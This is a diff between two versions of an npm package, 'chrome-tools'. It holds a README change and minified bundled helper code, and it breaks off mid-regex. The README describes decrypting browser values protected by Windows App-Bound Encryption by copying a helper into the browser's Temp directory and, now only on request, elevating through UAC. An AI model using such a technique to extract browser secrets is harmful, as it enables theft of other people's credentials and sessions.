chrome-tools 1.2.3 → 1.2.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -43,9 +43,10 @@ Windows App-Bound Encryption can make protected values unavailable to the
43
43
  bundled helper. If decryption fails from the package directory, the tool tries
44
44
  a temporary copy of the helper under the browser installation's `Temp`
45
45
  directory. When the installation directory requires Administrator privileges
46
- (such as `C:\Program Files`), interactive CLI runs request UAC elevation (set
47
- `CHROME_TOOLS_NO_ELEVATE=1` to skip the prompt). If the service still rejects it
48
- or elevation is unavailable, the tool reports a placeholder and a diagnostic.
46
+ (such as `C:\Program Files`), the tool does not prompt for elevation by
47
+ default; run from an elevated Administrator terminal or pass `--elevate` (or set
48
+ `CHROME_TOOLS_ELEVATE=1`) to request UAC elevation. If the service still rejects
49
+ it or elevation is unavailable, the tool reports a placeholder and a diagnostic.
49
50
 
50
51
  ## Development
51
52
 
Binary file
package/dist/cli.js CHANGED
@@ -1,11 +1,11 @@
1
1
  #!/usr/bin/env node
2
- var $i=Object.create;var rr=Object.defineProperty;var Ii=Object.getOwnPropertyDescriptor;var Ni=Object.getOwnPropertyNames;var Mi=Object.getPrototypeOf,Wi=Object.prototype.hasOwnProperty;var nr=(r=>typeof require<"u"?require:typeof Proxy<"u"?new Proxy(r,{get:(e,t)=>(typeof require<"u"?require:e)[t]}):r)(function(r){if(typeof require<"u")return require.apply(this,arguments);throw Error('Dynamic require of "'+r+'" is not supported')});var O=(r,e)=>()=>(e||r((e={exports:{}}).exports,e),e.exports);var ji=(r,e,t,n)=>{if(e&&typeof e=="object"||typeof e=="function")for(let i of Ni(e))!Wi.call(r,i)&&i!==t&&rr(r,i,{get:()=>e[i],enumerable:!(n=Ii(e,i))||n.enumerable});return r};var Hi=(r,e,t)=>(t=r!=null?$i(Mi(r)):{},ji(e||!r||!r.__esModule?rr(t,"default",{value:r,enumerable:!0}):t,r));var Je=O((ja,Er)=>{"use strict";var _t=[],Cr=0,N=(r,e)=>{Cr>=e&&_t.push(r)};N.WARN=1;N.INFO=2;N.DEBUG=3;N.reset=()=>{_t=[]};N.setDebugLevel=r=>{Cr=r};N.warn=r=>N(r,N.WARN);N.info=r=>N(r,N.INFO);N.debug=r=>N(r,N.DEBUG);N.debugMessages=()=>_t;Er.exports=N});var wr=O((Ha,br)=>{"use strict";br.exports=({onlyFirst:r=!1}={})=>{let e=["[\\u001B\\u009B][[\\]()#;?]*(?:(?:(?:(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]+)*|[a-zA-Z\\d]+(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*)?\\u0007)","(?:(?:\\d{1,4}(?:;\\d{0,4})*)?[\\dA-PR-TZcf-ntqry=><~]))"].join("|");return new RegExp(e,r?void 0:"g")}});var Fr=O((Va,_r)=>{"use strict";var po=wr();_r.exports=r=>typeof r=="string"?r.replace(po(),""):r});var Sr=O((Ga,Ft)=>{"use strict";var Br=r=>Number.isNaN(r)?!1:r>=4352&&(r<=4447||r===9001||r===9002||11904<=r&&r<=12871&&r!==12351||12880<=r&&r<=19903||19968<=r&&r<=42182||43360<=r&&r<=43388||44032<=r&&r<=55203||63744<=r&&r<=64255||65040<=r&&r<=65049||65072<=r&&r<=65131||65281<=r&&r<=65376||65504<=r&&r<=65510||110592<=r&&r<=110593||127488<=r&&r<=127569||131072<=r&&r<=262141);Ft.exports=Br;Ft.exports.default=Br});var Ar=O((Ua,xr)=>{"use strict";xr.exports=function(){return/\uD83C\uDFF4\uDB40\uDC67\uDB40\uDC62(?:\uDB40\uDC65\uDB40\uDC6E\uDB40\uDC67|\uDB40\uDC73\uDB40\uDC63\uDB40\uDC74|\uDB40\uDC77\uDB40\uDC6C\uDB40\uDC73)\uDB40\uDC7F|\uD83D\uDC68(?:\uD83C\uDFFC\u200D(?:\uD83E\uDD1D\u200D\uD83D\uDC68\uD83C\uDFFB|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFF\u200D(?:\uD83E\uDD1D\u200D\uD83D\uDC68(?:\uD83C[\uDFFB-\uDFFE])|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFE\u200D(?:\uD83E\uDD1D\u200D\uD83D\uDC68(?:\uD83C[\uDFFB-\uDFFD])|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFD\u200D(?:\uD83E\uDD1D\u200D\uD83D\uDC68(?:\uD83C[\uDFFB\uDFFC])|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\u200D(?:\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D)?\uD83D\uDC68|(?:\uD83D[\uDC68\uDC69])\u200D(?:\uD83D\uDC66\u200D\uD83D\uDC66|\uD83D\uDC67\u200D(?:\uD83D[\uDC66\uDC67]))|\uD83D\uDC66\u200D\uD83D\uDC66|\uD83D\uDC67\u200D(?:\uD83D[\uDC66\uDC67])|(?:\uD83D[\uDC68\uDC69])\u200D(?:\uD83D[\uDC66\uDC67])|[\u2695\u2696\u2708]\uFE0F|\uD83D[\uDC66\uDC67]|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|(?:\uD83C\uDFFB\u200D[\u2695\u2696\u2708]|\uD83C\uDFFF\u200D[\u2695\u2696\u2708]|\uD83C\uDFFE\u200D[\u2695\u2696\u2708]|\uD83C\uDFFD\u200D[\u2695\u2696\u2708]|\uD83C\uDFFC\u200D[\u2695\u2696\u2708])\uFE0F|\uD83C\uDFFB\u200D(?:\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C[\uDFFB-\uDFFF])|(?:\uD83E\uDDD1\uD83C\uDFFB\u200D\uD83E\uDD1D\u200D\uD83E\uDDD1|\uD83D\uDC69\uD83C\uDFFC\u200D\uD83E\uDD1D\u200D\uD83D\uDC69)\uD83C\uDFFB|\uD83E\uDDD1(?:\uD83C\uDFFF\u200D\uD83E\uDD1D\u200D\uD83E\uDDD1(?:\uD83C[\uDFFB-\uDFFF])|\u200D\uD83E\uDD1D\u200D\uD83E\uDDD1)|(?:\uD83E\uDDD1\uD83C\uDFFE\u200D\uD83E\uDD1D\u200D\uD83E\uDDD1|\uD83D\uDC69\uD83C\uDFFF\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69]))(?:\uD83C[\uDFFB-\uDFFE])|(?:\uD83E\uDDD1\uD83C\uDFFC\u200D\uD83E\uDD1D\u200D\uD83E\uDDD1|\uD83D\uDC69\uD83C\uDFFD\u200D\uD83E\uDD1D\u200D\uD83D\uDC69)(?:\uD83C[\uDFFB\uDFFC])|\uD83D\uDC69(?:\uD83C\uDFFE\u200D(?:\uD83E\uDD1D\u200D\uD83D\uDC68(?:\uD83C[\uDFFB-\uDFFD\uDFFF])|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFC\u200D(?:\uD83E\uDD1D\u200D\uD83D\uDC68(?:\uD83C[\uDFFB\uDFFD-\uDFFF])|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFB\u200D(?:\uD83E\uDD1D\u200D\uD83D\uDC68(?:\uD83C[\uDFFC-\uDFFF])|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFD\u200D(?:\uD83E\uDD1D\u200D\uD83D\uDC68(?:\uD83C[\uDFFB\uDFFC\uDFFE\uDFFF])|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\u200D(?:\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D(?:\uD83D[\uDC68\uDC69])|\uD83D[\uDC68\uDC69])|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFF\u200D(?:\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD]))|\uD83D\uDC69\u200D\uD83D\uDC69\u200D(?:\uD83D\uDC66\u200D\uD83D\uDC66|\uD83D\uDC67\u200D(?:\uD83D[\uDC66\uDC67]))|(?:\uD83E\uDDD1\uD83C\uDFFD\u200D\uD83E\uDD1D\u200D\uD83E\uDDD1|\uD83D\uDC69\uD83C\uDFFE\u200D\uD83E\uDD1D\u200D\uD83D\uDC69)(?:\uD83C[\uDFFB-\uDFFD])|\uD83D\uDC69\u200D\uD83D\uDC66\u200D\uD83D\uDC66|\uD83D\uDC69\u200D\uD83D\uDC69\u200D(?:\uD83D[\uDC66\uDC67])|(?:\uD83D\uDC41\uFE0F\u200D\uD83D\uDDE8|\uD83D\uDC69(?:\uD83C\uDFFF\u200D[\u2695\u2696\u2708]|\uD83C\uDFFE\u200D[\u2695\u2696\u2708]|\uD83C\uDFFC\u200D[\u2695\u2696\u2708]|\uD83C\uDFFB\u200D[\u2695\u2696\u2708]|\uD83C\uDFFD\u200D[\u2695\u2696\u2708]|\u200D[\u2695\u2696\u2708])|(?:(?:\u26F9|\uD83C[\uDFCB\uDFCC]|\uD83D\uDD75)\uFE0F|\uD83D\uDC6F|\uD83E[\uDD3C\uDDDE\uDDDF])\u200D[\u2640\u2642]|(?:\u26F9|\uD83C[\uDFCB\uDFCC]|\uD83D\uDD75)(?:\uD83C[\uDFFB-\uDFFF])\u200D[\u2640\u2642]|(?:\uD83C[\uDFC3\uDFC4\uDFCA]|\uD83D[\uDC6E\uDC71\uDC73\uDC77\uDC81\uDC82\uDC86\uDC87\uDE45-\uDE47\uDE4B\uDE4D\uDE4E\uDEA3\uDEB4-\uDEB6]|\uD83E[\uDD26\uDD37-\uDD39\uDD3D\uDD3E\uDDB8\uDDB9\uDDCD-\uDDCF\uDDD6-\uDDDD])(?:(?:\uD83C[\uDFFB-\uDFFF])\u200D[\u2640\u2642]|\u200D[\u2640\u2642])|\uD83C\uDFF4\u200D\u2620)\uFE0F|\uD83D\uDC69\u200D\uD83D\uDC67\u200D(?:\uD83D[\uDC66\uDC67])|\uD83C\uDFF3\uFE0F\u200D\uD83C\uDF08|\uD83D\uDC15\u200D\uD83E\uDDBA|\uD83D\uDC69\u200D\uD83D\uDC66|\uD83D\uDC69\u200D\uD83D\uDC67|\uD83C\uDDFD\uD83C\uDDF0|\uD83C\uDDF4\uD83C\uDDF2|\uD83C\uDDF6\uD83C\uDDE6|[#\*0-9]\uFE0F\u20E3|\uD83C\uDDE7(?:\uD83C[\uDDE6\uDDE7\uDDE9-\uDDEF\uDDF1-\uDDF4\uDDF6-\uDDF9\uDDFB\uDDFC\uDDFE\uDDFF])|\uD83C\uDDF9(?:\uD83C[\uDDE6\uDDE8\uDDE9\uDDEB-\uDDED\uDDEF-\uDDF4\uDDF7\uDDF9\uDDFB\uDDFC\uDDFF])|\uD83C\uDDEA(?:\uD83C[\uDDE6\uDDE8\uDDEA\uDDEC\uDDED\uDDF7-\uDDFA])|\uD83E\uDDD1(?:\uD83C[\uDFFB-\uDFFF])|\uD83C\uDDF7(?:\uD83C[\uDDEA\uDDF4\uDDF8\uDDFA\uDDFC])|\uD83D\uDC69(?:\uD83C[\uDFFB-\uDFFF])|\uD83C\uDDF2(?:\uD83C[\uDDE6\uDDE8-\uDDED\uDDF0-\uDDFF])|\uD83C\uDDE6(?:\uD83C[\uDDE8-\uDDEC\uDDEE\uDDF1\uDDF2\uDDF4\uDDF6-\uDDFA\uDDFC\uDDFD\uDDFF])|\uD83C\uDDF0(?:\uD83C[\uDDEA\uDDEC-\uDDEE\uDDF2\uDDF3\uDDF5\uDDF7\uDDFC\uDDFE\uDDFF])|\uD83C\uDDED(?:\uD83C[\uDDF0\uDDF2\uDDF3\uDDF7\uDDF9\uDDFA])|\uD83C\uDDE9(?:\uD83C[\uDDEA\uDDEC\uDDEF\uDDF0\uDDF2\uDDF4\uDDFF])|\uD83C\uDDFE(?:\uD83C[\uDDEA\uDDF9])|\uD83C\uDDEC(?:\uD83C[\uDDE6\uDDE7\uDDE9-\uDDEE\uDDF1-\uDDF3\uDDF5-\uDDFA\uDDFC\uDDFE])|\uD83C\uDDF8(?:\uD83C[\uDDE6-\uDDEA\uDDEC-\uDDF4\uDDF7-\uDDF9\uDDFB\uDDFD-\uDDFF])|\uD83C\uDDEB(?:\uD83C[\uDDEE-\uDDF0\uDDF2\uDDF4\uDDF7])|\uD83C\uDDF5(?:\uD83C[\uDDE6\uDDEA-\uDDED\uDDF0-\uDDF3\uDDF7-\uDDF9\uDDFC\uDDFE])|\uD83C\uDDFB(?:\uD83C[\uDDE6\uDDE8\uDDEA\uDDEC\uDDEE\uDDF3\uDDFA])|\uD83C\uDDF3(?:\uD83C[\uDDE6\uDDE8\uDDEA-\uDDEC\uDDEE\uDDF1\uDDF4\uDDF5\uDDF7\uDDFA\uDDFF])|\uD83C\uDDE8(?:\uD83C[\uDDE6\uDDE8\uDDE9\uDDEB-\uDDEE\uDDF0-\uDDF5\uDDF7\uDDFA-\uDDFF])|\uD83C\uDDF1(?:\uD83C[\uDDE6-\uDDE8\uDDEE\uDDF0\uDDF7-\uDDFB\uDDFE])|\uD83C\uDDFF(?:\uD83C[\uDDE6\uDDF2\uDDFC])|\uD83C\uDDFC(?:\uD83C[\uDDEB\uDDF8])|\uD83C\uDDFA(?:\uD83C[\uDDE6\uDDEC\uDDF2\uDDF3\uDDF8\uDDFE\uDDFF])|\uD83C\uDDEE(?:\uD83C[\uDDE8-\uDDEA\uDDF1-\uDDF4\uDDF6-\uDDF9])|\uD83C\uDDEF(?:\uD83C[\uDDEA\uDDF2\uDDF4\uDDF5])|(?:\uD83C[\uDFC3\uDFC4\uDFCA]|\uD83D[\uDC6E\uDC71\uDC73\uDC77\uDC81\uDC82\uDC86\uDC87\uDE45-\uDE47\uDE4B\uDE4D\uDE4E\uDEA3\uDEB4-\uDEB6]|\uD83E[\uDD26\uDD37-\uDD39\uDD3D\uDD3E\uDDB8\uDDB9\uDDCD-\uDDCF\uDDD6-\uDDDD])(?:\uD83C[\uDFFB-\uDFFF])|(?:\u26F9|\uD83C[\uDFCB\uDFCC]|\uD83D\uDD75)(?:\uD83C[\uDFFB-\uDFFF])|(?:[\u261D\u270A-\u270D]|\uD83C[\uDF85\uDFC2\uDFC7]|\uD83D[\uDC42\uDC43\uDC46-\uDC50\uDC66\uDC67\uDC6B-\uDC6D\uDC70\uDC72\uDC74-\uDC76\uDC78\uDC7C\uDC83\uDC85\uDCAA\uDD74\uDD7A\uDD90\uDD95\uDD96\uDE4C\uDE4F\uDEC0\uDECC]|\uD83E[\uDD0F\uDD18-\uDD1C\uDD1E\uDD1F\uDD30-\uDD36\uDDB5\uDDB6\uDDBB\uDDD2-\uDDD5])(?:\uD83C[\uDFFB-\uDFFF])|(?:[\u231A\u231B\u23E9-\u23EC\u23F0\u23F3\u25FD\u25FE\u2614\u2615\u2648-\u2653\u267F\u2693\u26A1\u26AA\u26AB\u26BD\u26BE\u26C4\u26C5\u26CE\u26D4\u26EA\u26F2\u26F3\u26F5\u26FA\u26FD\u2705\u270A\u270B\u2728\u274C\u274E\u2753-\u2755\u2757\u2795-\u2797\u27B0\u27BF\u2B1B\u2B1C\u2B50\u2B55]|\uD83C[\uDC04\uDCCF\uDD8E\uDD91-\uDD9A\uDDE6-\uDDFF\uDE01\uDE1A\uDE2F\uDE32-\uDE36\uDE38-\uDE3A\uDE50\uDE51\uDF00-\uDF20\uDF2D-\uDF35\uDF37-\uDF7C\uDF7E-\uDF93\uDFA0-\uDFCA\uDFCF-\uDFD3\uDFE0-\uDFF0\uDFF4\uDFF8-\uDFFF]|\uD83D[\uDC00-\uDC3E\uDC40\uDC42-\uDCFC\uDCFF-\uDD3D\uDD4B-\uDD4E\uDD50-\uDD67\uDD7A\uDD95\uDD96\uDDA4\uDDFB-\uDE4F\uDE80-\uDEC5\uDECC\uDED0-\uDED2\uDED5\uDEEB\uDEEC\uDEF4-\uDEFA\uDFE0-\uDFEB]|\uD83E[\uDD0D-\uDD3A\uDD3C-\uDD45\uDD47-\uDD71\uDD73-\uDD76\uDD7A-\uDDA2\uDDA5-\uDDAA\uDDAE-\uDDCA\uDDCD-\uDDFF\uDE70-\uDE73\uDE78-\uDE7A\uDE80-\uDE82\uDE90-\uDE95])|(?:[#\*0-9\xA9\xAE\u203C\u2049\u2122\u2139\u2194-\u2199\u21A9\u21AA\u231A\u231B\u2328\u23CF\u23E9-\u23F3\u23F8-\u23FA\u24C2\u25AA\u25AB\u25B6\u25C0\u25FB-\u25FE\u2600-\u2604\u260E\u2611\u2614\u2615\u2618\u261D\u2620\u2622\u2623\u2626\u262A\u262E\u262F\u2638-\u263A\u2640\u2642\u2648-\u2653\u265F\u2660\u2663\u2665\u2666\u2668\u267B\u267E\u267F\u2692-\u2697\u2699\u269B\u269C\u26A0\u26A1\u26AA\u26AB\u26B0\u26B1\u26BD\u26BE\u26C4\u26C5\u26C8\u26CE\u26CF\u26D1\u26D3\u26D4\u26E9\u26EA\u26F0-\u26F5\u26F7-\u26FA\u26FD\u2702\u2705\u2708-\u270D\u270F\u2712\u2714\u2716\u271D\u2721\u2728\u2733\u2734\u2744\u2747\u274C\u274E\u2753-\u2755\u2757\u2763\u2764\u2795-\u2797\u27A1\u27B0\u27BF\u2934\u2935\u2B05-\u2B07\u2B1B\u2B1C\u2B50\u2B55\u3030\u303D\u3297\u3299]|\uD83C[\uDC04\uDCCF\uDD70\uDD71\uDD7E\uDD7F\uDD8E\uDD91-\uDD9A\uDDE6-\uDDFF\uDE01\uDE02\uDE1A\uDE2F\uDE32-\uDE3A\uDE50\uDE51\uDF00-\uDF21\uDF24-\uDF93\uDF96\uDF97\uDF99-\uDF9B\uDF9E-\uDFF0\uDFF3-\uDFF5\uDFF7-\uDFFF]|\uD83D[\uDC00-\uDCFD\uDCFF-\uDD3D\uDD49-\uDD4E\uDD50-\uDD67\uDD6F\uDD70\uDD73-\uDD7A\uDD87\uDD8A-\uDD8D\uDD90\uDD95\uDD96\uDDA4\uDDA5\uDDA8\uDDB1\uDDB2\uDDBC\uDDC2-\uDDC4\uDDD1-\uDDD3\uDDDC-\uDDDE\uDDE1\uDDE3\uDDE8\uDDEF\uDDF3\uDDFA-\uDE4F\uDE80-\uDEC5\uDECB-\uDED2\uDED5\uDEE0-\uDEE5\uDEE9\uDEEB\uDEEC\uDEF0\uDEF3-\uDEFA\uDFE0-\uDFEB]|\uD83E[\uDD0D-\uDD3A\uDD3C-\uDD45\uDD47-\uDD71\uDD73-\uDD76\uDD7A-\uDDA2\uDDA5-\uDDAA\uDDAE-\uDDCA\uDDCD-\uDDFF\uDE70-\uDE73\uDE78-\uDE7A\uDE80-\uDE82\uDE90-\uDE95])\uFE0F|(?:[\u261D\u26F9\u270A-\u270D]|\uD83C[\uDF85\uDFC2-\uDFC4\uDFC7\uDFCA-\uDFCC]|\uD83D[\uDC42\uDC43\uDC46-\uDC50\uDC66-\uDC78\uDC7C\uDC81-\uDC83\uDC85-\uDC87\uDC8F\uDC91\uDCAA\uDD74\uDD75\uDD7A\uDD90\uDD95\uDD96\uDE45-\uDE47\uDE4B-\uDE4F\uDEA3\uDEB4-\uDEB6\uDEC0\uDECC]|\uD83E[\uDD0F\uDD18-\uDD1F\uDD26\uDD30-\uDD39\uDD3C-\uDD3E\uDDB5\uDDB6\uDDB8\uDDB9\uDDBB\uDDCD-\uDDCF\uDDD1-\uDDDD])/g}});var vr=O((Ka,Bt)=>{"use strict";var ho=Fr(),mo=Sr(),Do=Ar(),Or=r=>{if(typeof r!="string"||r.length===0||(r=ho(r),r.length===0))return 0;r=r.replace(Do()," ");let e=0;for(let t=0;t<r.length;t++){let n=r.codePointAt(t);n<=31||n>=127&&n<=159||n>=768&&n<=879||(n>65535&&t++,e+=mo(n)?2:1)}return e};Bt.exports=Or;Bt.exports.default=Or});var St=O((qa,Lr)=>{"use strict";var kr=vr();function Xe(r){return r?/\u001b\[((?:\d*;){0,5}\d*)m/g:/\u001b\[(?:\d*;){0,5}\d*m/g}function Y(r){let e=Xe();return(""+r).replace(e,"").split(`
2
+ var $i=Object.create;var rr=Object.defineProperty;var Ii=Object.getOwnPropertyDescriptor;var Ni=Object.getOwnPropertyNames;var Mi=Object.getPrototypeOf,Wi=Object.prototype.hasOwnProperty;var nr=(r=>typeof require<"u"?require:typeof Proxy<"u"?new Proxy(r,{get:(e,t)=>(typeof require<"u"?require:e)[t]}):r)(function(r){if(typeof require<"u")return require.apply(this,arguments);throw Error('Dynamic require of "'+r+'" is not supported')});var O=(r,e)=>()=>(e||r((e={exports:{}}).exports,e),e.exports);var Hi=(r,e,t,n)=>{if(e&&typeof e=="object"||typeof e=="function")for(let i of Ni(e))!Wi.call(r,i)&&i!==t&&rr(r,i,{get:()=>e[i],enumerable:!(n=Ii(e,i))||n.enumerable});return r};var ji=(r,e,t)=>(t=r!=null?$i(Mi(r)):{},Hi(e||!r||!r.__esModule?rr(t,"default",{value:r,enumerable:!0}):t,r));var Je=O((Ha,Er)=>{"use strict";var _t=[],Cr=0,N=(r,e)=>{Cr>=e&&_t.push(r)};N.WARN=1;N.INFO=2;N.DEBUG=3;N.reset=()=>{_t=[]};N.setDebugLevel=r=>{Cr=r};N.warn=r=>N(r,N.WARN);N.info=r=>N(r,N.INFO);N.debug=r=>N(r,N.DEBUG);N.debugMessages=()=>_t;Er.exports=N});var wr=O((ja,br)=>{"use strict";br.exports=({onlyFirst:r=!1}={})=>{let e=["[\\u001B\\u009B][[\\]()#;?]*(?:(?:(?:(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]+)*|[a-zA-Z\\d]+(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*)?\\u0007)","(?:(?:\\d{1,4}(?:;\\d{0,4})*)?[\\dA-PR-TZcf-ntqry=><~]))"].join("|");return new RegExp(e,r?void 0:"g")}});var Fr=O((Va,_r)=>{"use strict";var po=wr();_r.exports=r=>typeof r=="string"?r.replace(po(),""):r});var Sr=O((Ga,Ft)=>{"use strict";var Br=r=>Number.isNaN(r)?!1:r>=4352&&(r<=4447||r===9001||r===9002||11904<=r&&r<=12871&&r!==12351||12880<=r&&r<=19903||19968<=r&&r<=42182||43360<=r&&r<=43388||44032<=r&&r<=55203||63744<=r&&r<=64255||65040<=r&&r<=65049||65072<=r&&r<=65131||65281<=r&&r<=65376||65504<=r&&r<=65510||110592<=r&&r<=110593||127488<=r&&r<=127569||131072<=r&&r<=262141);Ft.exports=Br;Ft.exports.default=Br});var Ar=O((Ua,xr)=>{"use strict";xr.exports=function(){return/\uD83C\uDFF4\uDB40\uDC67\uDB40\uDC62(?:\uDB40\uDC65\uDB40\uDC6E\uDB40\uDC67|\uDB40\uDC73\uDB40\uDC63\uDB40\uDC74|\uDB40\uDC77\uDB40\uDC6C\uDB40\uDC73)\uDB40\uDC7F|\uD83D\uDC68(?:\uD83C\uDFFC\u200D(?:\uD83E\uDD1D\u200D\uD83D\uDC68\uD83C\uDFFB|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFF\u200D(?:\uD83E\uDD1D\u200D\uD83D\uDC68(?:\uD83C[\uDFFB-\uDFFE])|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFE\u200D(?:\uD83E\uDD1D\u200D\uD83D\uDC68(?:\uD83C[\uDFFB-\uDFFD])|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFD\u200D(?:\uD83E\uDD1D\u200D\uD83D\uDC68(?:\uD83C[\uDFFB\uDFFC])|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\u200D(?:\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D)?\uD83D\uDC68|(?:\uD83D[\uDC68\uDC69])\u200D(?:\uD83D\uDC66\u200D\uD83D\uDC66|\uD83D\uDC67\u200D(?:\uD83D[\uDC66\uDC67]))|\uD83D\uDC66\u200D\uD83D\uDC66|\uD83D\uDC67\u200D(?:\uD83D[\uDC66\uDC67])|(?:\uD83D[\uDC68\uDC69])\u200D(?:\uD83D[\uDC66\uDC67])|[\u2695\u2696\u2708]\uFE0F|\uD83D[\uDC66\uDC67]|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|(?:\uD83C\uDFFB\u200D[\u2695\u2696\u2708]|\uD83C\uDFFF\u200D[\u2695\u2696\u2708]|\uD83C\uDFFE\u200D[\u2695\u2696\u2708]|\uD83C\uDFFD\u200D[\u2695\u2696\u2708]|\uD83C\uDFFC\u200D[\u2695\u2696\u2708])\uFE0F|\uD83C\uDFFB\u200D(?:\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C[\uDFFB-\uDFFF])|(?:\uD83E\uDDD1\uD83C\uDFFB\u200D\uD83E\uDD1D\u200D\uD83E\uDDD1|\uD83D\uDC69\uD83C\uDFFC\u200D\uD83E\uDD1D\u200D\uD83D\uDC69)\uD83C\uDFFB|\uD83E\uDDD1(?:\uD83C\uDFFF\u200D\uD83E\uDD1D\u200D\uD83E\uDDD1(?:\uD83C[\uDFFB-\uDFFF])|\u200D\uD83E\uDD1D\u200D\uD83E\uDDD1)|(?:\uD83E\uDDD1\uD83C\uDFFE\u200D\uD83E\uDD1D\u200D\uD83E\uDDD1|\uD83D\uDC69\uD83C\uDFFF\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69]))(?:\uD83C[\uDFFB-\uDFFE])|(?:\uD83E\uDDD1\uD83C\uDFFC\u200D\uD83E\uDD1D\u200D\uD83E\uDDD1|\uD83D\uDC69\uD83C\uDFFD\u200D\uD83E\uDD1D\u200D\uD83D\uDC69)(?:\uD83C[\uDFFB\uDFFC])|\uD83D\uDC69(?:\uD83C\uDFFE\u200D(?:\uD83E\uDD1D\u200D\uD83D\uDC68(?:\uD83C[\uDFFB-\uDFFD\uDFFF])|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFC\u200D(?:\uD83E\uDD1D\u200D\uD83D\uDC68(?:\uD83C[\uDFFB\uDFFD-\uDFFF])|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFB\u200D(?:\uD83E\uDD1D\u200D\uD83D\uDC68(?:\uD83C[\uDFFC-\uDFFF])|\uD83C[\uDF3E\uDF7